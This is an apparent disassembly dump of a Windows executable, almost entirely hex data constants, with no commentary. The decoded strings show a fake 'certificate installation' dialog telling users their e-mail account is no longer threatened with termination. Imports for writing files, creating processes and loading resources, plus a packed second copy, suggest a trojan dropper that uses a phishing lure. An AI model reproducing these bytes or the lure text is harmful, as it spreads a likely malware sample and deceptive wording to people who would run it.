5E50DF0h, 476213D1h, 0E4CD62FBh, 0B9A866FBh, 0F27B9AF3h dd 44B6A388h, 0E26D311Eh, 813110F9h, 0E5D0CB35h, 924C4D58h dd 7CA6D6C3h, 198ACCDFh, 5A18A3B3h, 472469B8h, 0ABE236D7h dd 0AF9D3C41h, 5D9D40C5h, 7A4D87E4h, 1C3FBA65h, 79F5510Ch dd 681D8FFh, 0B57E9884h, 11A7A3Eh, 65574BB6h, 3996A760h dd 857553FBh, 79BC54C9h dd 27C8DD08h, 0CFA77F3h, 4769A798h, 1875E48h, 49296C1Ah dd 0A1678756h, 7DD3367Ch, 58689EA5h, 0AB461EFFh, 67028B8Eh dd 0CCDE7A42h, 288DF205h, 0D031A591h, 875E279Fh, 59E202E3h dd 5FD6779Bh, 0CD2365B7h, 403BD477h, 324F06A0h, 80882607h dd 52038BF9h, 4818D6D6h, 70BAE38Ch, 0DA68195h, 6E20AF54h dd 0BE025522h, 0C5EBA342h, 0F898B62Ah, 6E8725A5h, 0BA7F52C6h dd 2C9639E2h, 3D1295A5h, 954F900Ah, 0C8480939h, 0D2EFBC04h dd 60822E88h, 65C8C023h, 0E26C92E7h, 7945C6D6h, 0DBE61E4Eh dd 706E13BAh, 984C52B3h, 580DF3C5h, 9188A205h, 0CAEC6E77h dd 1722D0A6h, 4757CCB2h, 0ADAC95F7h, 0D082A4CAh, 685B4B14h dd 789AD97Ch, 41F08A00h, 10E3395Fh, 398A31F3h, 0B7B40BF2h dd 0F6A0096Bh, 0F4DE0B49h, 0B7446401h, 641CC8D9h, 4066A022h dd 0F1C6CA46h, 0EBB19447h, 0EE68CEACh, 792D3302h, 0D07C17C4h dd 17307E6Dh, 0E489088Eh, 2715209Bh, 75B4B06Bh, 0F780D080h dd 74EF56F3h, 0B0CC0123h, 8A9E130Ch, 542ABB84h, 0ECAC7FFDh dd 61E3AAC9h, 0C853EEC8h, 0C3A16D36h, 0E795612Ah, 5F218AC7h dd 0B495546Ch, 52C65C78h, 95A7123Ch, 44F83CFEh, 0AF12C475h dd 0B3CCA998h, 2D0EDA90h, 0ADFD172Ch, 0F6DC808Eh, 1410F78Ah dd 0DE38CF1Ah, 4A804518h, 117ACF0Dh, 4FE8B1EFh, 0C9C101E0h dd 5AB50FF4h, 0A2ABA4DAh, 0B536B3ECh, 0A403C2E7h, 16877B8Bh dd 0AF2EC292h, 0C06ADEC3h, 22FC5AA4h, 0D70F149Eh, 0F6466341h dd 5B77CAF6h, 76AD342Bh, 288795E2h, 0E0035808h, 17EAE308h dd 9Fh, 11h dup(0) dd 5F4FFA00h, 0B885FE1h, 2B2F8929h, 32DAD091h, 6C0B8FC7h dd 7414FED8h, 0F91D7600h, 0B5014E9Ah, 6FD6212h, 4CBC7677h dd 0C7E96590h, 6D61494Ch, 13910B4Eh, 9456345h, 0F8136BD9h dd 1945AFA6h, 101C6782h, 0F0637B96h, 8BBC5F25h, 7CA4B0FEh dd 11C871Fh, 0DCDF4B8Dh, 0BE7555ADh, 0EA5AAC77h, 0FB21CD73h dd 0A07A8D8Ah, 0A0CBEB2Eh, 0C5129480h, 80B7D67Fh, 0B2932404h dd 501CF389h, 6C8B8FCh, 0DAA238CBh, 3D9A9A71h, 0A61676DDh dd 8EB81D45h, 5A61F4F4h, 0AA67D41Eh, 930EE998h, 0EF1D044Bh dd 0F2A3EAC7h, 6AC0002Ch, 752FC220h, 0BAC8CA27h, 0E94A10CAh dd 0DE8F0C88h, 2F52A36Ch, 9336A752h, 1B6CEC13h, 7985AB51h dd 0B3B295DFh, 5286F5EDh, 5523A492h, 0EC7A9621h, 0BC7EBA5Ah dd 10E842BDh, 40D7BB98h, 0E0A7C4A4h, 338AD103h, 9A7249F8h dd 704A64C8h, 520A7848h, 39DF8817h, 0F4A001E4h, 0DCCC3F5Eh dd 0CC9E3B75h, 6AC8FB9Ch, 0BDABBF65h, 9CBB50BCh, 0A9438773h dd 59A76A4Eh, 3619060h, 0F2807AC4h, 4D2C70D9h, 0C5566480h dd 0A81FA302h, 655CC75Ah, 0A0D23E4Fh, 0FD65FCF1h, 8E8A1F6Dh dd 85C4B528h, 0F2010DF2h, 0A7427D75h, 51698830h, 180CBCB2h dd 0FE36054Fh, 0DF3D99DFh, 77549DC0h, 4C5AC80Eh, 0D765EAE9h dd 4E9809A3h, 84B290AEh, 89E0F56Ch, 812B3421h, 169669A7h dd 0F9F50FABh, 418990DCh, 6937965h, 0E169A0ACh, 0F4535C86h dd 0C6712FFFh, 0D01AC630h, 0EA8F38B7h, 1D399E30h, 2E24501Dh dd 800CFE98h, 49666D07h, 0A1E17A84h, 0FA8C323Fh, 4E0AC2h dd 6E788A3Eh, 2985235Bh, 258D265Eh, 69A04AFDh, 82713672h dd 4BDBAE6h, 7415486Bh, 124FBEFBh, 6D7464Eh, 53748B66h dd 0A530A48Dh, 339421A8h, 3168BD1h, 9D1DB276h, 0A26C053Dh dd 4A85F8FDh, 0D6CF87EBh, 47417A3Dh, 481C7CDh, 0BD6CFBAh dd 1B0C725Eh, 6772D14Fh, 24E5CD48h, 0E85390D0h, 3871D6AAh dd 0CFED2034h, 83DE49C1h, 1A8C6F1Ch, 4BCA9504h, 3BDB84BDh dd 0BE3BBE03h, 7E5D0042h, 5B49D9Ch, 271233D7h, 0CE6EAEAEh dd 49EE5D59h, 8D592571h, 62C032C4h, 0E8580029h, 0B9EC36AEh dd 0A2B230C6h, 338FE170h, 76C3D395h, 64495E20h, 73CBD92Ah dd 50E6F290h, 0D6FA6547h, 0BC96E320h, 1DE8D3A4h, 0BD69D3C9h dd 7FAFAD61h, 9BF4C6F1h, 1666h, 5Dh dup(0) dd 25202h, 251F6h, 251E6h, 251D2h, 251BAh, 251A8h, 2520Eh dd 0 dd 25162h, 25176h, 25152h, 25190h, 25140h, 25132h, 25120h dd 2510Eh, 25100h, 250F2h, 25184h, 250E4h, 0 dd 250B0h, 2 dup(0) dd 2519Ch, 25020h, 25090h, 2 dup(0) dd 2521Ah, 25000h, 5 dup(0) dd 25202h, 251F6h, 251E6h, 251D2h, 251BAh, 251A8h, 2520Eh dd 0 dd 25162h, 25176h, 25152h, 25190h, 25140h, 25132h, 25120h dd 2510Eh, 25100h, 250F2h, 25184h, 250E4h, 0 dd 68430028h, 6F547261h, 416D654Fh, 2C0000h, 72616843h dd 65707055h, 4172h, 6C43003Ah, 5765736Fh, 6F646E69h, 460077h dd 61657243h, 65446574h, 6F746B73h, 4170h, 72430047h, 65746165h dd 6B736544h, 57706F74h, 4C0000h, 61657243h, 63496574h dd 6E6Fh, 72430053h, 65746165h, 75706F50h, 6E654D70h, 830075h dd 74736544h, 43796F72h, 74657261h, 8C0000h, 70736944h dd 68637461h, 7373654Dh, 41656761h, 990000h, 77617244h dd 74706143h, 6E6F69h, 7244009Eh, 63497761h, 6E6Fh, 6E4500ADh dd 61694464h, 676F6Ch, 72657375h, 642E3233h, 6C6Ch, 65470132h dd 61745374h, 70757472h, 6F666E49h, 1A30041h, 7661654Ch dd 69724365h, 61636974h, 6365536Ch, 6E6F6974h, 1CB0000h dd 6E65704Fh, 656C6946h, 7070614Dh, 41676E69h, 23C0000h dd 4C746553h, 45747361h, 726F7272h, 2B50000h, 7274736Ch dd 41746163h, 2B70000h, 7274736Ch, 41706D63h, 2BF0000h dd 7274736Ch, 416E656Ch, 656B0000h, 6C656E72h, 642E3233h dd 6C6Ch, 0F6h dup(0) dd 0FFFF0001h, 0 dd 40000h, 80C808C8h, 7, 1430000h, 0A1h, 430000h, 720065h dd 690074h, 690066h, 610063h, 650074h, 690020h, 73006Eh dd 610074h, 6C006Ch, 740061h, 6F0069h, 20006Eh, 6F0063h dd 70006Dh, 65006Ch, 650074h, 64h, 190000Ah, 4D0100h, 200053h dd 680053h, 6C0065h, 20006Ch, 6C0044h, 67h, 2 dup(0) dd 50010000h, 94010Ah, 0B0032h, 2, 80FFFFh, 690046h, 69006Eh dd 680073h, 2 dup(0) dd 20h, 50010804h, 270084h, 1A00BFh, 7D2h, 690052h, 680063h dd 640045h, 740069h, 300032h, 41h, 680054h, 6E0061h, 20006Bh dd 6F0079h, 200075h, 6F0066h, 200072h, 700075h, 610064h dd 690074h, 67006Eh, 790020h, 75006Fh, 200072h, 2D0065h dd 61006Dh, 6C0069h, 610020h, 630063h, 75006Fh, 74006Eh dd 730020h, 630065h, 720075h, 740069h, 200079h, 650073h dd 740074h, 6E0069h, 730067h, 620020h, 200079h, 6E0069h dd 740073h, 6C0061h, 69006Ch, 67006Eh, 3 dup(0) dd 5000000Eh, 70007h, 8A0051h, 0FFFFFFFFh, 82FFFFh, 6AFFFFh dd 3 dup(0) dd 50010084h, 200061h, 7200DBh, 3E9h, 81FFFFh, 3 dup(0) dd 5000000Eh, 2B006Ch, 100012h, 0FFFFFFFFh, 82FFFFh, 6BFFFFh dd 2 dup(0) dd 20h, 50010804h, 490064h, 4500DBh, 7D4h, 690052h, 680063h dd 640045h, 740069h, 300032h, 41h, 6F0059h, 720075h, 650020h dd 6D002Dh, 690061h, 20006Ch, 630061h, 6F0063h, 6E0075h dd 200074h, 730069h, 6E0020h, 20006Fh, 6F006Ch, 67006Eh dd 720065h, 730020h, 620075h, 65006Ah, 740063h, 740020h dd 20006Fh, 650074h, 6D0072h, 6E0069h, 740061h, 6F0069h dd 2E006Eh, 490020h, 200074h, 6F006Eh, 6C0020h, 6E006Fh dd 650067h, 200072h, 6F0070h, 650073h, 200073h, 6E0061h dd 200079h, 680074h, 650072h, 740061h, 0D002Eh, 0D000Ah dd 57000Ah, 200065h, 700061h, 720070h, 630065h, 610069h dd 650074h, 790020h, 75006Fh, 200072h, 730061h, 690073h dd 740073h, 6E0061h, 650063h, 690020h, 20006Eh, 75006Fh dd 200072h, 660065h, 6F0066h, 740072h, 740020h, 20006Fh dd 61006Dh, 65006Bh, 740020h, 650068h, 750020h, 650073h dd 6F0020h, 200066h, 6E0049h, 650074h, 6E0072h, 740065h dd 610020h, 64006Eh, 650020h, 6D002Dh, 690061h, 20006Ch dd 610073h, 650066h, 200072h, 6E0061h, 200064h, 6F006Dh dd 650072h, 720020h, 6C0065h, 610069h, 6C0062h, 2E0065h dd 2 dup(0) dd 20h, 50010804h, 90064h, 1A00BFh, 7D3h, 690052h, 680063h dd 640045h, 740069h, 300032h, 41h, 83h dup(0) aPaddingxxpaddi db 'PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGP' db 'ADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPA' db 'DDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPAD' db 'DINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD' db 'INGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD',0 align 4 dd 57Fh dup(0) dd 60h, 1000h, 6F6C4301h, 61486573h, 656C646Eh, 72570100h dd 46657469h, 656C69h, 65724301h, 46657461h, 41656C69h dd 65520100h, 69466461h, 100656Ch, 46746553h, 50656C69h dd 746E696Fh, 1007265h, 4D746547h, 6C75646Fh, 6C694665h dd 6D614E65h, 1004165h, 7274736Ch, 416E656Ch, 65470100h dd 63695474h, 756F436Bh, 100746Eh, 53746547h, 65747379h dd 6D69546Dh, 46734165h, 54656C69h, 656D69h, 65724301h dd 50657461h, 65636F72h, 417373h, 74654701h, 706D6554h dd 68746150h, 47010041h, 69467465h, 7441656Ch, 62697274h dd 73657475h, 53010041h, 69467465h, 7441656Ch, 62697274h dd 73657475h, 56010041h, 75747269h, 72466C61h, 1006565h dd 65657246h, 7262694Ch, 797261h, 74655301h, 7473614Ch dd 6F727245h, 47010072h, 614C7465h, 72457473h, 726F72h dd 74654701h, 72727543h, 50746E65h, 65636F72h, 1007373h dd 50746547h, 41636F72h, 65726464h, 1007373h, 64616F4Ch dd 7262694Ch, 41797261h, 65470100h, 72655674h, 6E6F6973h dd 417845h, 7A695301h, 52666F65h, 756F7365h, 656372h, 636F4C01h dd 7365526Bh, 6372756Fh, 4C010065h, 5264616Fh, 756F7365h dd 656372h, 6E694601h, 73655264h, 6372756Fh, 1004165h dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 65540100h dd 6E696D72h, 50657461h, 65636F72h, 1007373h, 74726956h dd 416C6175h, 636F6C6Ch, 736C0100h, 70637274h, 1004179h dd 7274736Ch, 41746163h, 65470100h, 73795374h, 446D6574h dd 63657269h, 79726F74h, 6D000041h, 80000000h, 1000010h dd 72707377h, 66746E69h, 47010041h, 75437465h, 726F7372h dd 736F50h, 0 dd 455000h, 4014C00h, 0D9287C00h, 47h, 0 dd 0F00E000h, 7010B01h, 8000Ah, 0AC0000h, 0 dd 16C700h, 100000h, 200000h, 40000000h, 100000h, 20000h dd 400h, 0 dd 400h, 0 dd 0F00000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 21B400h, 3C00h, 400000h, 98CC00h, 12h dup(0) dd 200000h, 8C00h, 6 dup(0) dd 65742E00h, 7478h, 2 dup(100000h), 80000h, 40000h, 3 dup(0) dd 2000h, 64722E60h, 617461h, 100000h, 200000h, 60000h dd 0C0000h, 3 dup(0) dd 4000h, 61642E40h, 6174h, 100000h, 300000h, 5 dup(0) dd 4000h, 73722EC0h, 6372h, 0B00000h, 400000h, 0A60000h dd 120000h, 3 dup(0) dd 4000h, 0E00040h, 227C00h, 5000000h, 0A0000E2h, 218B42Eh dd 669C22ACh, 0FFFF160Bh, 23A5FFFFh, 0D3267812h, 1827A826h dd 0C5A90CF9h, 0C581691Eh, 41B5313Ch, 21D46264h, 6793AAEh dd 5FF2BCEh, 4160FFFEh, 98FD53DAh, 0E26635ACh, 0D7942002h dd 0A9F3BD3Fh, 0DB7E1B56h, 0FF02ADA6h, 46EEFFEDh, 6E2D519h dd 0A5E4244Eh, 6067B97Eh, 556E0DDDh, 0FF02C6CFh, 68DFE85h dd 0C18C0F76h, 0A3F568A8h, 0F798E7BBh, 0BA63872h, 0D6FFFFFFh dd 69B695E0h, 0EAA90DF2h, 487CE8ADh, 0D7DFDC4Dh, 0BDB6743h dd 0EEDC68FEh, 0FFFFF2B5h, 466FFFFh, 3E4897BEh, 72847543h dd 91F95802h, 180924D8h, 6D122B11h, 7131CFA5h, 8B70AA1Ah dd 685F6702h, 7A4BFFF1h, 6766EA3Ah, 0FE43F08Bh, 0DB47FBBDh dd 5463D460h, 0FFFFF85Fh, 59097A63h, 5C6A40ABh, 7E108E45h dd 0F9EAD9A7h, 18FC44CAh, 0B5BC1CD4h, 97FF86F3h, 64DFFFF8h dd 0DD4EDD31h, 0ADBD208Ch, 0EE387FD7h, 8FA3A396h, 42B2F7CDh dd 0FFFF13B3h, 0A9DCE2DFh, 0DFB3C9D7h, 0F3F04ED6h, 0AC92DF90h dd 6980128Eh, 0B599E461h, 0FFFFDA26h, 76CCFFFFh, 0C4E773BDh dd 0B86F73DFh, 6B3059BAh, 0FCA6F3C5h, 0C26EAA73h, 592D4594h dd 1AB4B29Bh, 0FFFFE597h, 0B6C8FFFFh, 77A0CF38h, 0CAD5B6B9h dd 0C4EEC953h, 852FB502h, 3E700C60h, 84678769h, 8F2AAE5Eh dd 0FFFF5F36h, 0A31FFFFFh, 1102FFC3h, 53020BEDh, 0B61D6339h dd 259FABF0h, 3FF1EFCFh, 0A34DC236h, 4B2AF378h, 0FFFFF0F8h dd 1148FFFFh, 9B6FF8C9h, 644E0B98h, 13F5981Ch, 469F1BF6h dd 30221D01h, 77FAECAEh, 320F201Dh, 5FFE72E4h, 1350FFE2h dd 95C3786Eh, 5C45EFBFh, 0E533A2DCh, 14BD71D6h, 0A5F2703Ah dd 0FFFFFFD0h, 47DADF8Dh, 9D191605h, 94DDB64Fh, 9A3E56ABh dd 27D94082h, 6BC76AC3h, 0FFFF664Bh, 0E59DFD6Fh, 0D9D775EDh dd 1159C6C0h, 0C36C283Dh, 0F3125E12h, 3502E671h, 0D635CA22h dd 0E37FF16Fh, 837A73FAh, 7042A83Fh, 58601D2Eh, 0DD786A9Fh dd 1BFF3658h, 8660FFFDh, 6A04434Fh, 4792AE1Dh, 78D71C10h dd 36700688h, 792D956Bh, 817F00EBh, 0CFEBFFFFh, 0AECDBCF7h dd 0E5223254h, 0E78070D0h, 6D81766Ah, 0A11BD19Dh, 0FFFE1F62h dd 0D40BFFFFh, 0DBD79669h, 7E8B41EAh, 0F051EF52h, 0D105E50Dh dd 0FB476213h, 0FBE4CD62h, 0F3B9A866h, 0FF56FF9Ah, 0A388428Dh dd 311E44B6h, 316CE26Dh, 0D0CB3581h, 0BFE858E5h, 4C4DFFC5h dd 0A6D6C392h, 8ACCDF7Ch, 5A18A3FBh, 472469B8h, 37ADFFD7h dd 0C2AB8F58h, 0AAC5AF9Dh, 4D87E45Dh, 3FBA657Ah, 0FFFFFFD6h dd 0F5510C1Ch, 81D8FF79h, 7E988406h, 1A7A3EB5h, 574BB601h dd 96A76065h, 0FF23FB39h, 85C4BFFFh, 879BC7Eh, 0F327C8DDh dd 980CFA77h, 484769A7h, 1A01875Eh, 0FE3B296Ch, 5649C2FFh dd 367CA169h, 9EA57DD3h, 1EFF5868h, 148EAB46h, 0A9617A42h dd 0CCDEFFF6h, 288DF205h, 0D031A591h, 4028279Fh, 0BFFFADE2h dd 0D6777FC0h, 2365B75Fh, 404477CDh, 324F06A0h, 80882607h dd 52038BF9h, 0FFFFD4BFh, 4818D6D6h, 70BAE38Ch, 0DA68195h dd 6E20AF54h, 426D5522h, 2AC5EBA3h, 0FFFFFFFFh, 0A5F898B6h dd 0C66E8725h, 0E2BA7F52h, 0A52C9639h, 0A3D1295h, 39954F90h dd 4C84809h, 88D2EFBCh, 0FF8B7FE1h, 2360822Eh, 0E765C8C0h dd 0C6D6BB92h, 1E4E7945h, 0ABBADBE6h, 6B71BFFFh, 984C9A70h dd 5580D25h, 779188A2h, 0A6CAEC6Eh, 0FFFF22D0h, 0B217FFFFh dd 0F74757CCh, 0CAADAC95h, 14D082A4h, 7C685B4Bh, 789AD9h dd 5F41F08Ah, 0F310E339h, 0F02E8A31h, 0F239E0DFh, 96B480Bh dd 0B49F6A0h, 4417F4DEh, 0FFFFF0B7h, 641CB4ADh, 4066A022h dd 0F1C6CA46h, 0EBB19447h, 0EE68CEACh, 0FFFF3302h, 0C493BF42h dd 6DD07C17h, 88E17DDh, 209BE489h, 0B06B2715h, 0D08075B4h dd 0FFF052FFh, 56F3F780h, 12374EFh, 130CB0CCh, 542ABB26h dd 0ECAC7FFDh, 0FFFFFFDBh, 61E3AAC9h, 0C853EEC8h, 0C3A16D36h dd 0E795612Ah, 5F218AC7h, 0B495546Ch, 3CD15C78h, 0FF5BFFEAh dd 0FE95A712h, 7544F83Ch, 0A998AF54h, 0DA90B3CCh, 172C2D0Eh dd 0FFF817FDh, 0DC80405Fh, 10F78AF6h, 38CF1A14h, 804518DEh dd 0BCF0D4Ah, 0FFFFB1EFh, 4FE8FFFFh, 0C9C101E0h, 5AB50FF4h dd 0A2ABA4DAh, 0B536B3ECh, 0A403C2E7h, 16877B8Bh, 0AF2EC292h dd 5FFDEC3h, 0C06AEA5Eh, 9E229FA4h, 63411914h, 0CAF6F646h dd 0D8045B77h, 342BFFFFh, 95E276ADh, 58082887h, 0E308E003h dd 9F17EAh, 0FE8DFF00h, 5F4FFA3Fh, 0B885FE1h, 2B2F8929h dd 0C7327491h, 0D86C0B8Fh, 0FFFF14FEh, 74FFFFh, 9AF91D76h dd 12B5014Eh, 7706FD62h, 904CBC76h, 4CC7E965h, 4E6D6149h dd 4513910Bh, 0FFFF4563h, 6B5356FFh, 0AFA6F813h, 67821945h dd 7B96101Ch, 5F25F063h, 0B0FE8BBCh, 0FFFF7CA4h, 871FFFFFh dd 4B8D011Ch, 55ADDCDFh, 0AC77BE75h, 0CD73EA5Ah, 8D8AFB21h dd 0EB2EA07Ah, 9480A0CBh, 0E8DFC512h, 0D67FFFFFh, 240480B7h dd 0F389B293h, 0B8FC501Ch, 38CB06C8h, 9A9AE9A2h, 0FFFCDD3Dh dd 1676D1BFh, 8EB81D95h, 5A61F4F4h, 0AA67D41Eh, 930EE998h dd 0EF1D044Bh, 1BF42FFFh, 2CF2A370h, 0C297C000h, 0CA27752Fh dd 10CABAC8h, 0FFFFE94Ah, 0C88FFFFh, 0A36CDE8Fh, 0A7522F52h dd 0EC139336h, 0AB511B6Ch, 95DF7985h, 0F5EDB3B2h, 0A4925286h dd 0A37F5523h, 9621FFFFh, 0BA5AEC7Ah, 42BDBC7Eh, 0BB9810E8h dd 56A440D7h, 8AD103E0h, 0FFFFF833h, 7249FFFFh, 4A64C89Ah dd 0A784870h, 0DF881752h, 0A001E439h, 0CC3F5EF4h, 9E3B75DCh dd 0C8FB9CCCh, 0A17F656Ah, 0ABBFFFFFh, 0BB50BCBDh, 4387739Ch dd 0A76A4EA9h, 0D906059h, 0F2807AC4h, 0DFFF70D9h, 4D2CFFE0h dd 0C5566480h, 0A81FA302h, 4F65B25Ah, 0F1A0D23Eh, 6DFD65FCh dd 0FFFF8A1Fh, 288EF817h, 6685C4B5h, 7D75F201h, 8830A742h dd 0BCB25169h, 54F180Ch, 0FFFFFE36h, 99DFFAB7h, 0B2C0DF3Dh dd 5AC80E77h, 65EAE94Ch, 9809A3D7h, 0B290AE4Eh, 0FFD66C84h dd 0E0F5FE97h, 2B342189h, 16966E81h, 0F9F50FABh, 418990DCh dd 0FF217965h, 0ACF46FFFh, 5C1D69A0h, 2FFFF453h, 0C630C671h dd 38B7D01Ah, 9E30EA8Fh, 0FFFF1D39h, 501DFFFFh, 0FE982E24h dd 6D07800Ch, 7A844966h, 323FA1E1h, 0AC2FA8Ch, 8A3E004Eh dd 235B6E78h, 0FFFF2985h, 265EFDBFh, 4AFD258Dh, 7136723Ch dd 0BDBAE682h, 15486B04h, 4FBEFB74h, 0D7464E12h, 0FFFF6606h dd 748BFA37h, 99A48D53h, 339421A8h, 3168BD1h, 9D1DB276h dd 0A26C053Dh, 0DFFFF8FDh, 4A85FFFEh, 0D6CF87EBh, 47417A3Dh dd 481C7CDh, 5E0B0ABAh, 4F1B0C72h, 486772D1h, 12FFE5CDh dd 0D024FC0Bh, 0AAE85390h, 0ED313815h, 0DE49C1CFh, 2FFF1C83h dd 8C6FFFFDh, 0CA95041Ah, 0DB84BD4Bh, 3BBE033Bh, 7E5D00CBh dd 5B49D9Ch, 271233D7h, 0FD4BFFF1h, 0CE6EAEAEh, 71735D59h dd 0C48D5925h, 2962C032h, 0AEE85800h, 6DBFFFFFh, 0B2C4B930h dd 8FE170A2h, 0C3D39533h, 495E2076h, 0CBD92A64h, 0E6F29073h dd 0A97F897Fh, 0D6FA4050h, 0BC96E320h, 0C91D27A4h, 61BD69D3h dd 0FF80890Ah, 0F17FAFADh, 669BF4C6h, 0FE59F916h, 2032859h dd 0F6000252h, 6B9FE651h, 0BAD2A69Ah, 170EA8h, 0D74D3462h dd 3760B75h, 40902352h, 0BA6CB332h, 3320D3h, 0DE8450F2h dd 0E464EC17h, 7B050h, 0BDEC2B9Ch, 900FEB01h, 0F5B1A13h dd 8413D18Fh dd 430028ACh, 0BFDB23F3h, 6F547287h, 416D654Fh, 70552C0Dh dd 0C4726570h, 3A4BFFE5h, 65736F6Ch, 646E6957h, 4600776Fh dd 0DD616572h, 446B55BFh, 746B7365h, 471F706Fh, 0C82A5D11h dd 0EE4C5772h, 0BFF76E6Fh, 530DB20Dh, 70751B50h, 756E654Dh dd 2B008300h, 7DB80A3Bh, 796F7274h, 74656543h, 0B76944E4h dd 73DBDBE6h, 68632270h, 6173554Dh, 13996567h, 7B16172h dd 2077B628h, 0D9E5370h, 67DADB7Bh, 4500AD4Fh, 94613089h dd 97750067h, 622841D2h, 132CD72h, 0B6D14039h, 5274CDA5h dd 76DB6674h, 448F337Bh, 784C01A3h, 697E6576h, 0C5006344h dd 532F6F63h, 4C6365h, 6DB601CBh, 46A3D140h, 705F4D2Ch dd 42B76ED7h, 3C6F67DDh, 614C3D2Ah, 75724596h, 98DB7B9Bh dd 2B50F72h, 7435A26Ch, 16DDB71Bh, 6D0B9E69h, 6E39BF70h dd 46546B0Bh, 6E7C6F11h, 3B4D6C65h, 1543044h, 8B5800F5h dd 84ED50Bh, 0DE0B67C8h, 43F67D6Ah, 7A101h, 0C42E0065h dd 0CC660069h, 3EEE6DDh, 0B610063h, 6E0B2011h, 6E6D7300h dd 6C0FDBACh, 6F216101h, 72631913h, 7DDD637h, 1570006Dh dd 66642B65h, 7B90000Ah, 1E06BAEh, 3202B4Dh, 0B351568h dd 6E8109FAh, 0FD670544h, 10A5001h, 110ED894h, 0B00EBDCh dd 37809943h, 9119F759h, 686D696Bh, 41AD2025h, 8DBD683h dd 2700842Bh, 0D7364DB1h, 0B427AEBDh, 45239F52h, 0BA740971h dd 43EE6BAEh, 54410030h, 6B416113h, 9AEB799Bh, 7756BA6h dd 0A7757266h, 2F6DBD64h, 67213749h, 0DD2DA31Bh, 0C7D73EE7h dd 61A91961h, 2775D95Bh, 33DF6074h, 730F77h, 796B2965h dd 375E1211h, 734974D9h, 29176211h, 17B0B899h, 90EF10Dh dd 0ADAB5CFBh, 0BC5101BEh, 78200EFh, 0AC261AEBh, 1784236Ah dd 6FDB4B61h, 0B0F653FCh, 811703E9h, 2B006C43h, 10001200h dd 80C252DBh, 49EB2F6Bh, 0C240C243h, 2FD42182h, 375D0159h dd 0E3690436h, 0D720116Eh, 7BA6846Fh, 0FB376523h, 8216A75h dd 295F6363h, 1D742374h, 9B61016Dh, 2E2F8CBBh, 49749319h dd 0DC1DE1Eh, 69570D70h, 0DD1C79C3h, 6847C66Bh, 0D3D4365h dd 9F73EE5Bh, 115703FBh, 1D017023h, 0B7DD5F63h, 0D3AB1984h dd 694F731Fh, 348C64D8h, 20CB6374h, 60B2C3F5h, 0BB1F660Ch dd 0BDF62F05h, 7D2B6BD8h, 35977507h, 0B1B06E90h, 0DF6EC166h dd 0CD74AD6Eh, 646129BAh, 66097343h, 62F7C8DBh, 6B6D2193h dd 316CB74Bh, 62D23080h, 9BF2E3Dh, 8C846A42h, 1442D3EFh dd 75A0B081h, 0FFD82C08h, 44444150h, 58474E49h, 500F0858h dd 42034800h, 8C2A8A2Ch, 100D50Eh, 8FD16080h, 108974A0h dd 0B614816h, 3D04B6C1h, 64570C65h, 845FE65h, 0A6946DEh dd 410BEEh, 42BF5201h, 16645B30h, 6F50085Fh, 0DB6CBF63h dd 721D6E69h, 6F4D470Fh, 296C7564h, 8437F4Eh, 2D6D61DEh dd 69541D5Bh, 0B1DBB563h, 6F436BF6h, 530D2D75h, 6D651B79h dd 0BD868813h, 317327D7h, 2DDB6B09h, 366E24D8h, 14507025h dd 0C6DED768h, 74860D66h, 75626955h, 82372127h, 1353D803h dd 61346956h, 0CFB7DE6Ch, 524C46B5h, 721A4C05h, 2D797261h dd 8CB7B0Bh, 8B0D4F14h, 43DADB05h, 74AE0A75h, 0B0B127Fh dd 41FD8ED6h, 0F726464h, 4BFD6F4Ch, 608DDE8Eh, 73F9563Bh dd 89784583h, 882DED6Dh, 52666F03h, 0C972E328h, 3EAF6B03h dd 610DEF2Ch, 0B2612C64h, 0D6EB26Dh, 0ED093B41h, 117E26F6h dd 236D72F5h, 9441780Bh, 0C7AD46Ch, 594F7823h, 0D7857063h dd 25DA0A5Bh, 1B2A4455h, 3F86A46Fh, 6DDE82CDh, 70737780h dd 858AAA72h, 4166D86Dh, 0BC727DE9h, 9903C73h, 0F7C1C0Bh dd 0D9E28001h, 13AC08F2h, 0C50516C7h, 10BED964h, 378A0B20h dd 0CF01C84h, 9DB20E1Ch, 5221B402h, 4598CC3Ch, 0A58C0817h dd 6F148CA7h, 8C1C0595h, 17C80714h, 0A060081Ch, 0F41206F8h dd 0D9B306FBh, 0C1CB64Ah, 505E2726h, 7330B02Ch, 2BE7741Ch dd 10B47D14h, 0B9A64FB0h, 12D25615h, 227C0D84h, 0FC000000h dd 0E205h, 1200h, 0FFh, 3 dup(0) dd 8000BE60h, 0BE8D0040h, 0FFFF9000h, 0FFCD8357h, 909010EBh dd 90909090h, 8846068Ah, 0DB014707h, 1E8B0775h, 11FCEE83h dd 0B8ED72DBh, 1, 775DB01h, 0EE831E8Bh, 11DB11FCh, 73DB01C0h dd 8B0975EFh, 0FCEE831Eh, 0E473DB11h, 0E883C931h, 0C10D7203h dd 68A08E0h, 0FFF08346h, 0C5897474h, 775DB01h, 0EE831E8Bh dd 11DB11FCh, 75DB01C9h, 831E8B07h, 0DB11FCEEh, 2075C911h dd 75DB0141h, 831E8B07h, 0DB11FCEEh, 0DB01C911h, 975EF73h dd 0EE831E8Bh, 73DB11FCh, 2C183E4h, 0F300FD81h, 0D183FFFFh dd 2F148D01h, 76FCFD83h, 42028A0Fh, 49470788h, 63E9F775h dd 90FFFFFFh, 0C283028Bh, 83078904h, 0E98304C7h, 1F17704h dd 0FF4CE9CFh, 895EFFFFh, 0BB9F7h, 78A0000h, 3CE82C47h dd 80F77701h, 0F275003Fh, 5F8A078Bh, 0E8C16604h, 10C0C108h dd 0F829C486h, 1E8EB80h, 830789F0h, 0D88805C7h, 0BE8DD9E2h dd 0E000h, 0C009078Bh, 5F8B3C74h, 30848D04h, 102FCh, 8350F301h dd 96FF08C7h, 10338h, 47078A95h, 0DC74C008h, 4857F989h dd 0FF55AEF2h, 1033C96h, 74C00900h, 83038907h, 0E1EB04C3h dd 34C96FFh, 0AE8B0001h, 10340h, 0F000BE8Dh, 0BBFFFFh dd 50000010h, 53046A54h, 8DD5FF57h, 1F787h, 7F208000h dd 7F286080h, 